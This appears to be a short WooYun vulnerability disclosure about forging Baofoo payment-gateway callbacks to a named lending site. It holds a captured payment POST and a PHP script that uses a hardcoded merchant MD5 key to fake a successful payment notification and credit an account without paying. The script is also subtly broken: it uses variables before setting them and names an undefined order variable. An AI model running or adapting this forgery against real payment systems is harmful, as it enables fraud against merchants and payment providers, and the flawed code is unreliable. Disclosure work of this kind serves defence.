WooYun.org

客户端抓包记录：
URL:http://paygate.baofoo.com/PayReceive/bankpay.aspx
POST:
MerchantID:116745
PayID:1000
TradeDate:20150326181817
TransID:B8574120150326181817
OrderMoney:10000.0
ProductName:
Amount:1
ProductLogo:
Username:
Email:
Mobile:
AdditionalInfo:
Merchant_url:http://www.cnaidai.com/public/baofoopay.html
Return_url:http://www.cnaidai.com/public/baofoopay.html
Md5Sign:F58C39C60D5A498586A17439ABB353ED
NoticeType:1

模拟第三方支付向服务器发包：
<?php
// 必要修改的参数，其中密钥最重要，其他参数可通过抓充值表单数据包正常获取
$md5_key = "xvaf66u95el7d43e"; // md5密钥（KEY）
$member_id = "116745"; //商户号
$trans_id = "B8574120150326181817"; // 订单编号
$ReturnUrl = "http://www.cnaidai.com/public/baofoopay.html";
$amount = 100;
// TODO:以下代码不必修改
$result = "1";
$result_desc = "01";
$amount = intval($amount) * 100; // 充值金额
$md5_sign =  md5($member_id . $trans_id . $result . $result_desc . $amount . $additional_info . $succ_time . $md5_key);
$additional_info = "";
$succ_time = "";
$data = "MerchantID={$member_id}&TransID={$orderid}&Result={$result}&resultDesc={$result_desc}&factMoney={$amount}&additionalInfo={$additional_info}&SuccTime={$succ_time}&Md5Sign={$md5_sign}";
post($ReturnUrl, $data);
function post($url, $data) {
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
	curl_exec($ch);
	curl_close($ch);
}